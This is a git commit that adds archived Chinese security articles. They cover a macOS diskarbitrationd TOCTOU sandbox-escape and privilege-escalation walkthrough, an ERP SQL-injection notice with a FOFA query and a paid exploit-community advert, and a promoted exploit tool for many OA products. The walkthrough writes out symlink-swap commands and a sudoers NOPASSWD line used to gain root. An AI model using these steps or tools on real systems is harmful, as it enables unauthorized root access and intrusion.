mirror of
https://github.com/gelusus/wxvl.git
synced 2025-06-08 05:57:24 +00:00
记一次SRC利用github搜索拿下中危漏洞、构建 Spectre:用于 XSS 漏洞利用的红队工具(第 1 部分)、【神兵利器】高危漏洞EXP实用性工具、【0Day】圣乔ERP系统name*存在SQL注入漏洞、macOS 磁盘仲裁中的 TOCTOU 漏洞可通过利用符号链接进行沙箱逃逸和权限升级攻击、
This commit is contained in:
parent
7e70b99f1b
commit
a0affffe45
@ -717,5 +717,10 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU0NDk0NTAwMw==&mid=2247622843&idx=2&sn=e58b5c466505cf5ae07a26a4eef66e53": "知名压缩软件被曝严重漏洞,谁会成为受害者?",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458584139&idx=3&sn=2da9c8566535b151f08abba973c4cbda": "惊喜开班!系统0day安全-IOT设备漏洞挖掘(第6期)",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2NjgzNjA5NQ==&mid=2247523865&idx=1&sn=a85f1659ccbd217fd246c088babf8a97": "【漏洞通告】Zabbix 服务器SQL注入漏洞(CVE-2024-42327)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyOTQzNjIwNw==&mid=2247490220&idx=2&sn=d1d013adb3a9540504c23b2930e6f846": "开源文件共享软件存在严重漏洞CVE-2024-11680,已有公开的PoC"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyOTQzNjIwNw==&mid=2247490220&idx=2&sn=d1d013adb3a9540504c23b2930e6f846": "开源文件共享软件存在严重漏洞CVE-2024-11680,已有公开的PoC",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNjMwNDUxNg==&mid=2247486870&idx=2&sn=1948479dc1ffdf886bd89765c51dcfb3": "记一次SRC利用github搜索拿下中危漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwOTE5MDY5NA==&mid=2247503484&idx=1&sn=e3eb5a40d0988c77c33d974008df4c8d": "构建 Spectre:用于 XSS 漏洞利用的红队工具(第 1 部分)",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg4MTU4NTc2Nw==&mid=2247493702&idx=1&sn=2186fab30eaee576dbca5c54e3bf00e6": "【神兵利器】高危漏洞EXP实用性工具",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU3MjU4MjM3MQ==&mid=2247488650&idx=1&sn=3c2a69aef2c8bd73e875b717bca41cf0": "【0Day】圣乔ERP系统name*存在SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247524738&idx=4&sn=b31c451cdd0b6f7219abff8f78b19210": "macOS 磁盘仲裁中的 TOCTOU 漏洞可通过利用符号链接进行沙箱逃逸和权限升级攻击"
|
||||
}
|
347
doc/macOS 磁盘仲裁中的 TOCTOU 漏洞可通过利用符号链接进行沙箱逃逸和权限升级攻击.md
Normal file
347
doc/macOS 磁盘仲裁中的 TOCTOU 漏洞可通过利用符号链接进行沙箱逃逸和权限升级攻击.md
Normal file
@ -0,0 +1,347 @@
|
||||
# macOS 磁盘仲裁中的 TOCTOU 漏洞可通过利用符号链接进行沙箱逃逸和权限升级攻击
|
||||
Ots安全 2024-11-28 09:06
|
||||
|
||||

|
||||
|
||||
**网址**
|
||||
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2024-44175
|
||||
|
||||
**目标**
|
||||
- macOS 14.x < 14.7.1
|
||||
|
||||
**解释**
|
||||
|
||||
CVE-2024-44175是**diskarbitrationd**macOS中的**TOCTOU**一个(检查时间到使用时间)漏洞,该漏洞使得**symbolic link**使用.
|
||||
|
||||
该漏洞发生在UserFS(用户模式文件系统)处理过程中,是由于关键系统路径验证不充分而导致的。攻击者可以利用此问题覆盖系统上的敏感目录。
|
||||
|
||||
**diskarbitrationd**分别处理KEXT(内核扩展)文件系统和UserFS
|
||||
diskarbitrationd文件系统。当一个设备被挂载时,它会检查它是否是UserFS文件系统,如果是UserFS文件系统,它会使用单独的挂载方法来挂载它。然而,在此过程中省略了选项(-k),因此,滥用符号链接的攻击成为可能。
|
||||
|
||||
* disk Arbitrationd:用于管理 macOS 中的磁盘设备和文件系统的系统守护进程。
|
||||
|
||||
**DAFileSystemMountWithArguments 函数**
|
||||
|
||||
diskarbitrationd在挂载UserFS文件系统之前,它首先检查 UserFS 支持。正如您在下面的代码中看到的,如果支持UserFS,
|
||||
useUserFS则变量
|
||||
TRUE设置为 。
|
||||
|
||||
```
|
||||
void DAFileSystemMountWithArguments( DAFileSystemRef filesystem,
|
||||
CFURLRef device,
|
||||
CFStringRef volumeName,
|
||||
CFURLRef mountpoint,
|
||||
uid_t userUID,
|
||||
gid_t userGID,
|
||||
CFStringRef preferredMountMethod,
|
||||
DAFileSystemCallback callback,
|
||||
void * callbackContext,
|
||||
... )
|
||||
{
|
||||
...
|
||||
if ( fsImplementation != NULL )
|
||||
{
|
||||
...
|
||||
if ( preferredMountMethod != NULL )
|
||||
{
|
||||
if ( useUserFS == FALSE )
|
||||
{
|
||||
if ( ( CFStringCompare( CFSTR("UserFS"), preferredMountMethod, kCFCompareCaseInsensitive ) == 0) &&
|
||||
( ___CFArrayContainsString( fsImplementation, CFSTR("UserFS") ) == TRUE ) )
|
||||
{
|
||||
**useUserFS = TRUE;**
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
useUserFS 当设置为 时
|
||||
TRUE,使用UserFS API
|
||||
diskarbitrationd挂载文件系统。
|
||||
|
||||
```
|
||||
if ( useUserFS )
|
||||
{
|
||||
CFArrayRef argumentList;
|
||||
argumentList = CFStringCreateArrayBySeparatingStrings( kCFAllocatorDefault, devicePath, CFSTR( "/" ) );
|
||||
if ( argumentList )
|
||||
{
|
||||
...
|
||||
DAThreadExecute(__DAMountUserFSVolume, context, __DAMountUserFSVolumeCallback, context);
|
||||
CFRelease( argumentList );
|
||||
}
|
||||
else
|
||||
{
|
||||
status = EINVAL;
|
||||
}
|
||||
goto DAFileSystemMountErr;
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
UserFS disk Arbitrationd调用fskitd来发出文件系统的挂载命令。通过调用 fskitd 挂载处理命令时,未使用nofollow/-k选项来防止 **符号链接更改。这意味着没有对符号链接进行验证或处理,攻击者可以使用它来引导安装到不同的路径。此外,由于它以 root** 权限运行,因此可能会受到权限升级攻击。**fskitd**
|
||||
|
||||
漏洞总结如下:
|
||||
1. mount 命令,**nofollow/-k**缺少选项
|
||||
|
||||
1. mount_lifs 以 root 权限运行,因此无论调用者的权限如何,它都以 root 权限运行。
|
||||
|
||||
disk仲裁检查挂载点是否存在于处理请求的
|
||||
_DAServerSessionQueueRequest函数中。sandbox escapeprivilege escalation
|
||||
|
||||
```
|
||||
kern_return_t _DAServerSessionQueueRequest( mach_port_t _session,
|
||||
...
|
||||
if ( path )
|
||||
{
|
||||
status = sandbox_check_by_audit_token(_token, "file-mount", SANDBOX_FILTER_PATH | SANDBOX_CHECK_ALLOW_APPROVAL, path);
|
||||
if ( status )
|
||||
{
|
||||
status = kDAReturnNotPrivileged;
|
||||
}
|
||||
free( path );
|
||||
}
|
||||
...
|
||||
if ( audit_token_to_euid( _token ) )
|
||||
{
|
||||
if ( audit_token_to_euid( _token ) != DADiskGetUserUID( disk ) )
|
||||
{
|
||||
status = kDAReturnNotPrivileged;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
sandbox_check_by_audit_token()通过检查沙箱、UID等来验证挂载路径,但由于结构性问题,并不能防止后续挂载执行阶段因符号链接等原因导致路径被改变的可能性,TOCTOU(Time of检查使用时间)出现漏洞。验证后,如果使用符号链接将路径更改为其他位置,则可以执行沙箱逃逸或LPE 。
|
||||
|
||||
在本文中,我们将根据上述漏洞进行LPE调试和执行。
|
||||
|
||||
**1.创建DMG文件**
|
||||
|
||||
首先,创建使用MS-DOS (FAT)文件系统的磁盘映像。
|
||||
|
||||
```
|
||||
hdiutil create -fs "MS-DOS" -size 10MB -volname disk dos.dmg
|
||||
```
|
||||
|
||||
|
||||
**2. 将调试器附加到diskarbitrationd**
|
||||
|
||||
使用 lldb连接到disk Arbitrationd
|
||||
sandbox_check_by_audit_token进程并在函数中设置断点。
|
||||
|
||||
```
|
||||
(lldb) process attach --name "diskarbitrationd"
|
||||
Process 113 stopped
|
||||
* thread #1, stop reason = signal SIGSTOP
|
||||
frame #0: 0x000000019e3b3564 libsystem_kernel.dylib`__sigsuspend_nocancel + 8
|
||||
libsystem_kernel.dylib`__sigsuspend_nocancel:
|
||||
-> 0x19e3b3564 <+8>: b.lo 0x19e3b3584 ; <+40>
|
||||
0x19e3b3568 <+12>: pacibsp
|
||||
0x19e3b356c <+16>: stp x29, x30, [sp, #-0x10]!
|
||||
0x19e3b3570 <+20>: mov x29, sp
|
||||
Target 0: (diskarbitrationd) stopped.
|
||||
Executable module set to "/usr/libexec/diskarbitrationd".
|
||||
Architecture set to: arm64e-apple-macosx-.
|
||||
(lldb) b sandbox_check_by_audit_token
|
||||
Breakpoint 2: where = libsystem_sandbox.dylib`sandbox_check_by_audit_token, address = 0x00000001aa59bc50
|
||||
(lldb) c
|
||||
Process 113 resuming
|
||||
```
|
||||
|
||||
|
||||
**3. 开始挂载操作**
|
||||
|
||||
在另一个终端中,准备磁盘并开始安装操作。
|
||||
|
||||
```
|
||||
tree@forest ~ % mkdir mnt
|
||||
tree@forest ~ % open dos.dmg
|
||||
tree@forest ~ % umount /Volumes/DISK
|
||||
tree@forest ~ % diskutil list
|
||||
...
|
||||
/dev/disk5 (disk image):
|
||||
#: TYPE NAME SIZE IDENTIFIER
|
||||
0: FDisk_partition_scheme +10.5 MB disk5
|
||||
1: DOS_FAT_32 DISK 10.5 MB disk5s1
|
||||
tree@forest ~ % hdiutil attach -mountpoint mnt /dev/disk5s1
|
||||
```
|
||||
|
||||
1. 创建mnt目录,并将其作为挂载点来挂载磁盘。
|
||||
|
||||
1. 打开dos.dmg文件,加载磁盘映像,然后使用umount命令卸载自动挂载的卷' / Volumes/DISK' 。这会产生一个可供diskarbitrationd使用的磁盘设备。
|
||||
|
||||
1. 如果使用diskutil list命令检查磁盘列表,**disk5**可以看到添加了一个名为的新设备。disk5是由FDisk分区方案组成的10.5MB磁盘映像,里面的disk5s1分区以DOS_FAT_32格式存在。
|
||||
|
||||
1. hdiutil attach -mountpoint mnt /dev/disk5s1执行命令将disk5s1分区挂载到mnt目录。
|
||||
|
||||
```
|
||||
Process 113 stopped
|
||||
* thread #3, queue = 'DAServer', stop reason = breakpoint 2.1
|
||||
frame #0: 0x00000001aa59bc50 libsystem_sandbox.dylib`sandbox_check_by_audit_token
|
||||
libsystem_sandbox.dylib`sandbox_check_by_audit_token:
|
||||
-> 0x1aa59bc50 <+0>: pacibsp
|
||||
0x1aa59bc54 <+4>: sub sp, sp, #0xb0
|
||||
0x1aa59bc58 <+8>: stp x20, x19, [sp, #0x90]
|
||||
0x1aa59bc5c <+12>: stp x29, x30, [sp, #0xa0]
|
||||
Target 0: (diskarbitrationd) stopped.
|
||||
(lldb) finish
|
||||
Process 113 stopped
|
||||
* thread #3, queue = 'DAServer', stop reason = step out
|
||||
frame #0: 0x00000001005463b8 diskarbitrationd`___lldb_unnamed_symbol712 + 1488
|
||||
diskarbitrationd`___lldb_unnamed_symbol712:
|
||||
-> 0x1005463b8 <+1488>: mov w8, #0x9 ; =9
|
||||
0x1005463bc <+1492>: movk w8, #0xf8da, lsl #16
|
||||
0x1005463c0 <+1496>: str x8, [sp, #0x30]
|
||||
0x1005463c4 <+1500>: mov x20, x19
|
||||
Target 0: (diskarbitrationd) stopped.
|
||||
(lldb) b CFRelease
|
||||
Breakpoint 3: where = CoreFoundation`CFRelease, address = 0x000000019e462edc
|
||||
(lldb) c
|
||||
Process 113 resuming
|
||||
Process 113 stopped
|
||||
* thread #3, queue = 'DAServer', stop reason = breakpoint 3.1
|
||||
frame #0: 0x000000019e462edc CoreFoundation`CFRelease
|
||||
CoreFoundation`CFRelease:
|
||||
-> 0x19e462edc <+0>: pacibsp
|
||||
0x19e462ee0 <+4>: stp x20, x19, [sp, #-0x20]!
|
||||
0x19e462ee4 <+8>: stp x29, x30, [sp, #0x10]
|
||||
0x19e462ee8 <+12>: add x29, sp, #0x10
|
||||
Target 0: (diskarbitrationd) stopped.
|
||||
(lldb) finish
|
||||
```
|
||||
|
||||
|
||||
在此阶段,disk Arbitrationd将完成工作,并且将到达您设置的断点。
|
||||
|
||||
**4. 创建和替换符号链接**
|
||||
|
||||
接下来,CFRelease前往呼叫点。该位置对应于沙箱逃逸和权限升级验证过程的结束。此时,您已经通过了disk Arbitrationd执行的所有验证,因此您现在可以用指向 root 拥有的位置的符号链接替换您正在使用的目录。
|
||||
|
||||
```
|
||||
tree@forest ~ % rm -rf mnt
|
||||
tree@forest ~ % ln -s /etc/cups/ mnt
|
||||
```
|
||||
|
||||
|
||||
删除之前创建的mnt目录并创建一个名为/etc/cups指向 的符号链接。mnt
|
||||
|
||||
```
|
||||
(lldb) breakpoint disable
|
||||
All breakpoints disabled. (2 breakpoints)
|
||||
(lldb) c
|
||||
Process 113 resuming
|
||||
```
|
||||
|
||||
|
||||
禁用lldb 调试器中设置的断点,以便disk Arbitrationd继续运行。
|
||||
|
||||
```
|
||||
tree@forest ~ % mount
|
||||
/dev/disk4s1s1 on / (apfs, sealed, local, read-only, journaled)
|
||||
devfs on /dev (devfs, local, nobrowse)
|
||||
...
|
||||
/dev/disk5s1 on /private/etc/cups (msdos, local, nodev, nosuid, noowners, noatime, fskit)
|
||||
```
|
||||
|
||||
|
||||
结果/etc/cups可以看到磁盘镜像已挂载到该目录中。
|
||||
|
||||
您现在已经准备好执行 LPE 的环境了!
|
||||
|
||||
**A.L.P.E.**
|
||||
|
||||

|
||||
|
||||
LPE按照该流程进行,各过程如下。
|
||||
|
||||
1.
|
||||
/etc/cups挂载到目录后,创建自定义cups-files.conf文件
|
||||
- ErrorLog :将日志文件位置
|
||||
/etc/sudoers.d/lpe设置为 .
|
||||
|
||||
- LogFilePerm
|
||||
777:设置日志文件的权限。
|
||||
|
||||
2.
|
||||
cupsctl使用命令创建错误日志文件
|
||||
- 在生成的日志文件中添加以下内容
|
||||
|
||||
```
|
||||
%staff ALL=(ALL) NOPASSWD:ALL
|
||||
```
|
||||
|
||||
|
||||
3.LogFilePerm700更改为并重新运行
|
||||
cupsctl命令
|
||||
|
||||
4.
|
||||
sudo 通过命令获取root权限
|
||||
|
||||
**B.沙箱逃逸**
|
||||
|
||||

|
||||
|
||||
1.
|
||||
preference file将终端插入磁盘映像
|
||||
- CommandString 使用该选项可将LPE 脚本设置为在运行终端时运行。
|
||||
|
||||
2.将磁盘装载到您的用户首选项目录中并运行终端。
|
||||
|
||||
3.由于终端在沙箱外部运行,因此配置的脚本将成功运行并执行 LPE。
|
||||
|
||||
同样,disk Arbitrationd 的 TOCTOU 漏洞启用了沙箱逃逸和使用符号链接的LPE 。
|
||||
|
||||
**通过以下两种方法修复了该漏洞。**
|
||||
|
||||
1.为挂载命令nofollow添加选项
|
||||
|
||||
```
|
||||
/sbin/mount_lifs -o ...,nofollow,...
|
||||
```
|
||||
|
||||
|
||||
更改源代码nofollow以始终添加选项。
|
||||
|
||||
2.在 fskitd 中使用呼叫者的用户 ID
|
||||
|
||||
改进了 fskitd 以根据调用者的用户 ID 验证权限。
|
||||
|
||||
```
|
||||
token = [FSAuditToken new];
|
||||
token = [token tokenWithRuid:gDAConsoleUserUID];
|
||||
```
|
||||
|
||||
|
||||
Apple 使用上述方法修补了 macOS Sequoia 15.1 beta 2 和 14.7。
|
||||
|
||||
**参考**
|
||||
|
||||
https://www.kandji.io/blog/macos-audit-story-part1
|
||||
|
||||
|
||||
|
||||
|
||||
感谢您抽出
|
||||
|
||||

|
||||
|
||||
.
|
||||
|
||||

|
||||
|
||||
.
|
||||
|
||||

|
||||
|
||||
来阅读本文
|
||||
|
||||

|
||||
|
||||
**点它,分享点赞在看都在这里**
|
||||
|
142
doc/【0Day】圣乔ERP系统name*存在SQL注入漏洞.md
Normal file
142
doc/【0Day】圣乔ERP系统name*存在SQL注入漏洞.md
Normal file
@ -0,0 +1,142 @@
|
||||
# 【0Day】圣乔ERP系统name*存在SQL注入漏洞
|
||||
原创 xiachuchunmo 银遁安全团队 2024-11-28 22:00
|
||||
|
||||
**需要EDU SRC邀请码的师傅可以私聊后台,免费赠送EDU SRC邀请码(邀请码管够)**
|
||||
|
||||

|
||||
|
||||
|
||||
**漏洞简介**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
******圣乔 ERP系统是杭州圣乔科技有限公司开发的一款企业级管理软件,旨在为企业提供一套全面、集成化的管理解决方案,帮助企业实现资源的优化配置和高效利用。该系统集成了财务、人力资源、生产、销售、供应链等多个业务模块,实现了企业内外部信息的无缝连持和实时共享。适用于各种规模的企业,特别是需要实现资源优化配置、提高运营效率和管理水平的企业。它可以帮助企业解决传统管理,式中存在的信息孤岛、数据重复输入、信息传递滞后等问题,提高企业的整体竞争力。圣乔ERP系统name*存在SQL注入漏洞**
|
||||
|
||||

|
||||
|
||||
|
||||
**资产测绘**
|
||||
|
||||
|
||||

|
||||
|
||||
```
|
||||
app="圣乔-ERP系统"
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**注入测试**
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**SQLMap测试**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
**获取当前数据库名测试**
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**Nuclei测试**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**圈子介绍**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
高
|
||||
质量漏洞利用工具分享社区,每天至少更新一个0Day/Nday/1day及对应漏洞的批量利用工具,团队内部POC分享,星球不定时更新内外网攻防渗透技巧以及最新学习研究成果等。
|
||||
如果师傅还是新手,内部的交流群有很多行业老师傅可以为你解答学习上的疑惑,内部分享的POC可以助你在Edu和补天等平台获得一定的排名。
|
||||
如果师傅已经
|
||||
是老手了,有一个高质量的LD库也能为你的工作提高极大的效率,实战或者攻防中有需要的Day我们也可以通过自己的途径帮你去寻找。
|
||||
|
||||
**【圈子服务】**
|
||||
|
||||
1,一年至少365+漏洞Poc及对应漏洞批量利用工具
|
||||
|
||||
2,Fofa永久高级会员
|
||||
|
||||
3,24HVV内推途径
|
||||
|
||||
4,Cmd5解密,各种漏洞利用工具及后续更新,渗透工具、文档资源分享
|
||||
|
||||
5,内部漏洞
|
||||
库情报分享
|
||||
(目前已有2000+
|
||||
poc,会定期更新,包括部分未公开0/1day)
|
||||
|
||||
6,加入内部微信群,认识更多的行业朋友(群里有100+C**D通用证书师傅),遇到任何技术问题都可以进行快速提问、讨论交流;
|
||||
|
||||
|
||||
圈子目前价格为**129元**
|
||||
**(交个朋友啦!)**
|
||||
,现在星球有近900+位师傅相信并选择加入我们,人数满1000
|
||||
**涨价至149**,圈子每天都会更新内容。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**圈子近期更新LD库**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
**每篇文章均有详细且完整的手工WriteUp****(跟其他只有POC,没有验证截图的不一样)**
|
||||
|
||||

|
||||
|
||||
**星球提供免费F**a**
|
||||
**C**D通用证书********一起愉快的刷分**
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**免责声明**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
345
doc/【神兵利器】高危漏洞EXP实用性工具.md
Normal file
345
doc/【神兵利器】高危漏洞EXP实用性工具.md
Normal file
@ -0,0 +1,345 @@
|
||||
# 【神兵利器】高危漏洞EXP实用性工具
|
||||
cseroad 七芒星实验室 2024-11-28 23:01
|
||||
|
||||
**基本介绍**
|
||||
|
||||
该工具使用了ExpDemo-JavaFX项目,保留了核心的数据包请求接口,使用jdk1.8环境开发。目前编写了oa、设备、框架、产品等多个系列,对相关漏洞进行复现和分析,极力避免exp的误报和有效性。
|
||||
|
||||
截止到目前为止,已实现了用友、泛微、蓝凌、万户、帆软报表、致远、通达、红帆、金和、金蝶、广联达、华天动力总共12个OA。全部是命令执行、文件上传类的漏洞,包括前台和后台。
|
||||
|
||||
|
||||
**支持漏洞**
|
||||
|
||||
|
||||
(1) 用友系列
|
||||
- 用友NC-BshServlet 远程命令执行
|
||||
|
||||
- 用友NC-BshServlet-bypass 远程命令执行
|
||||
|
||||
- 用友NC accept 文件上传
|
||||
|
||||
- 用友NC uapim 文件上传
|
||||
|
||||
- 用友NC mp 文件上传
|
||||
|
||||
- 用友NC saveXmlToFileServlet 文件上传
|
||||
|
||||
- 用友NC FileManager 文件上传
|
||||
|
||||
- 用友NC saveImageServlet 文件上传
|
||||
|
||||
- 用友NC反序列化-1
|
||||
|
||||
- 用友NC反序列化-2
|
||||
|
||||
- 用友NC反序列化-3
|
||||
|
||||
- 用友NC Cloud 文件写入
|
||||
|
||||
- 用友NC Cloud uploadChunk文件上传
|
||||
|
||||
- 用友NC Cloud importhttpscer文件上传
|
||||
|
||||
- 用友U8CRM swfupload 文件上传
|
||||
|
||||
- 用友U8CRM getemaildata 文件上传
|
||||
|
||||
- 用友U8CRM crmtools 文件上传
|
||||
|
||||
- 用友GRP-U8 UploadFileData 文件上传
|
||||
|
||||
- 用友GRP-U8 U8AppProxy 文件上传
|
||||
|
||||
- 用友GRP-U8 services 文件写入
|
||||
|
||||
- 用友GRP-U8 servlet 文件上传
|
||||
|
||||
- 用友U8C 文件上传
|
||||
|
||||
- 用友U8C 反序列化-1
|
||||
|
||||
- 用友U8C 反序列化-2
|
||||
|
||||
- 用友U8C esnserver文件写入
|
||||
|
||||
- 用友U9 PatchFile 文件写入
|
||||
|
||||
- 用友畅捷通T+密码重置
|
||||
|
||||
- 用友畅捷通T+文件上传-1
|
||||
|
||||
- 用友畅捷通T+文件上传-2
|
||||
|
||||
- 用友畅捷通T+GetStoreWarehouseByStore反序列化
|
||||
|
||||
- 用友KSOA ImageUpload 文件上传
|
||||
|
||||
- 用友KSOA Attachment 文件写入
|
||||
|
||||
- 用友移动管理平台Apk文件上传
|
||||
|
||||
- 用友移动管理平台Icon文件上传
|
||||
|
||||
- 用友U8-OA文件上传
|
||||
|
||||
- 用友UFIDA NC 文件写入
|
||||
|
||||
(2) 泛微系列
|
||||
- 泛微eoffice OfficeServer 文件上传
|
||||
|
||||
- 泛微eoffice UploadFile 文件上传
|
||||
|
||||
- 泛微eoffice uploadify 文件上传
|
||||
|
||||
- 泛微eoffice ajax 文件上传
|
||||
|
||||
- 泛微BshServlet 远程命令执行
|
||||
|
||||
- 泛微ecology前台sql注入-1
|
||||
|
||||
- 泛微ecology前台sql注入-2
|
||||
|
||||
- 泛微ecology前台sql注入-3
|
||||
|
||||
- 泛微ecology任意用户爆破
|
||||
|
||||
- 泛微ecology任意用户登录-1
|
||||
|
||||
- 泛微ecology任意用户登录-2
|
||||
|
||||
- 泛微ecology FileClient 文件上传
|
||||
|
||||
- 泛微ecology WorkflowServiceXml命令执行
|
||||
|
||||
- 泛微ecology KtreeUploadAction 文件上传
|
||||
|
||||
- 泛微ecology uploaderOperate 文件上传
|
||||
|
||||
- 泛微ecology weaver.common.Ctrl 文件上传
|
||||
|
||||
- 泛微ecology后台风格文件上传
|
||||
|
||||
- 泛微ecology后台流程命令执行
|
||||
|
||||
- 泛微ecology后台库存文件上传
|
||||
|
||||
- 泛微emobile client命令执行
|
||||
|
||||
- 泛微emobile messageType命令执行
|
||||
|
||||
- 泛微emobile lang2sql文件覆盖
|
||||
|
||||
(3) 蓝凌系列
|
||||
- 蓝凌OA 任意用户登录
|
||||
|
||||
- 蓝凌OA SSRF
|
||||
|
||||
- 蓝凌OA SSRF BeanShell 文件上传
|
||||
|
||||
- 蓝凌OA SSRF XmlDecoder 文件上传
|
||||
|
||||
- 蓝凌OA treexml 命令执行
|
||||
|
||||
- 蓝凌OA界面文件上传
|
||||
|
||||
- 蓝凌OA主题文件上传
|
||||
|
||||
- 蓝凌OA jg_service文件上传
|
||||
|
||||
- 蓝凌OA sysUiComponent文件复制
|
||||
|
||||
- 蓝凌OA后台模板文件上传
|
||||
|
||||
- 蓝凌EIS api文件上传
|
||||
|
||||
(4) 万户系列
|
||||
- 万户OA用户密码泄露
|
||||
|
||||
- 万户OA fileUpload 文件上传
|
||||
|
||||
- 万户OA officeserverservlet 文件上传
|
||||
|
||||
- 万户OA smartUpload 文件上传
|
||||
|
||||
- 万户OA OfficeServer 文件上传
|
||||
|
||||
- 万户OA senddocument 文件导入
|
||||
|
||||
- 万户OA wpsservlet 文件上传
|
||||
|
||||
- 万户OA SOAP 文件写入
|
||||
|
||||
- 万户OA SOAP创建文件写入
|
||||
|
||||
(6) 帆软报表系列
|
||||
- 帆软报表任意文件读取
|
||||
|
||||
- 帆软报表任意文件读取-bypass
|
||||
|
||||
- 帆软报表任意文件覆盖
|
||||
|
||||
- 帆软报表未授权命令执行-1
|
||||
|
||||
- 帆软报表未授权命令执行-2
|
||||
|
||||
- 帆软报表未授权命令执行-3
|
||||
|
||||
- 帆软报表channel命令执行-1
|
||||
|
||||
- 帆软报表channel命令执行-2
|
||||
|
||||
- 帆软报表ReportServer sql注入
|
||||
|
||||
- 帆软报表后台插件文件上传
|
||||
|
||||
- 帆软报表后台主题文件上传
|
||||
|
||||
(7)
|
||||
致远系列
|
||||
- 致远session泄露processUpload文件上传
|
||||
|
||||
- 致远uploadMenuIcon文件上传
|
||||
|
||||
- 致远ajax文件上传
|
||||
|
||||
- 致远ajax文件上传-bypass
|
||||
|
||||
- 致远wpsAssistServlet文件上传
|
||||
|
||||
- 致远htmlofficeservlet文件上传
|
||||
|
||||
- 致远任意用户密码重置
|
||||
|
||||
- 致远audit-admin用户默认密码
|
||||
|
||||
- 致远audit-admin用户重置密码
|
||||
|
||||
- 致远后台模板文件上传
|
||||
|
||||
- 致远后台模板管理器文件上传
|
||||
|
||||
- 致远后台表格文件写入
|
||||
|
||||
- 致远后台ofd文件解压
|
||||
|
||||
- 致远后台jdbc文件写入
|
||||
|
||||
- 致远后台constDef代码执行
|
||||
|
||||
- 致远帆软报表文件读取
|
||||
|
||||
- 致远帆软报表文件读取-bypass
|
||||
|
||||
- 致远帆软报表日志命令执行
|
||||
|
||||
- 致远帆软报表后台插件文件上传
|
||||
|
||||
- 致远帆软报表后台主题文件上传
|
||||
|
||||
- 致远M1命令执行
|
||||
|
||||
(8) 通达系列
|
||||
- 通达任意用户登录-1
|
||||
|
||||
- 通达任意用户登录-2
|
||||
|
||||
- 通达任意用户登录-3
|
||||
|
||||
- 通达任意用户登录-4
|
||||
|
||||
- 通达Ispirit文件上传
|
||||
|
||||
- 通达ueditor文件上传
|
||||
|
||||
- 通达gateway反序列化
|
||||
|
||||
- 通达后台附件文件上传
|
||||
|
||||
(9) 红帆系列
|
||||
- 红帆OA任意文件上传
|
||||
|
||||
- 红帆OA任意文件写入
|
||||
|
||||
(10) 金和系列
|
||||
- 金和OA命令执行
|
||||
|
||||
- 金和OA editeprint文件写入
|
||||
|
||||
- 金和OA EditMain文件写入
|
||||
|
||||
- 金和OA saveAsOtherFormatServlet文件上传
|
||||
|
||||
- 金和OA OfficeServer文件上传
|
||||
|
||||
- 金和OA UploadFileBlock文件上传
|
||||
|
||||
- 金和OA servlet 文件上传
|
||||
|
||||
- 金和OA jcsUploadServlet文件上传
|
||||
|
||||
- 金和OA UploadFileEditorSave文件上传
|
||||
|
||||
- 金和OA viewConTemplate 模板注入
|
||||
|
||||
(11) 金蝶系列
|
||||
- 金蝶云星空反序列化-1
|
||||
|
||||
- 金蝶云星空反序列化-2
|
||||
|
||||
- 金蝶云星空反序列化-3
|
||||
|
||||
- 金蝶云星空文件上传
|
||||
|
||||
- 金蝶EAS file文件上传
|
||||
|
||||
- 金蝶EAS logo文件上传
|
||||
|
||||
- 金蝶Apusic 文件上传
|
||||
|
||||
(12)
|
||||
广联达系列
|
||||
- 广联达OA GetIMDictionary sql注入
|
||||
|
||||
- 广联达OA 任意用户登录
|
||||
|
||||
- 广联达OA 用户文件上传
|
||||
|
||||
- 广联达OA 后台文件上传
|
||||
|
||||
(13) 华天动力系列
|
||||
- 华天动力OA 登录绕过
|
||||
|
||||
- 华天动力OA ntkoupload 文件上传
|
||||
|
||||
- 华天动力OA Servlet文件上传
|
||||
|
||||
**工具使用**
|
||||
```
|
||||
java -javaagent:Exp-Tools-1.3.1-encrypted.jar -jar Exp-Tools-1.3.1-encrypted.jar
|
||||
```
|
||||
|
||||

|
||||
|
||||
**下载地址**
|
||||
|
||||
**点击下方名片进入公众号**
|
||||
|
||||
**回复关键字【**
|
||||
**241129****】获取**
|
||||
**下载链接**
|
||||
|
||||
****
|
||||
**·推 荐 阅 读·**
|
||||
|
||||
# 最新后渗透免杀工具
|
||||
# 【护网必备】高危漏洞综合利用工具
|
||||
# 【护网必备】Shiro反序列化漏洞综合利用工具增强版
|
||||
# 【护网必备】外网打点必备-WeblogicTool
|
||||
# 【护网必备】最新Struts2全版本漏洞检测工具
|
||||
# Nacos漏洞综合利用工具
|
||||
# 重点OA系统漏洞利用综合工具箱
|
||||
# 【护网必备】海康威视RCE批量检测利用工具
|
||||
# 【护网必备】浏览器用户密码|Cookie|书签|下载记录导出工具
|
||||
|
||||
|
||||
|
358
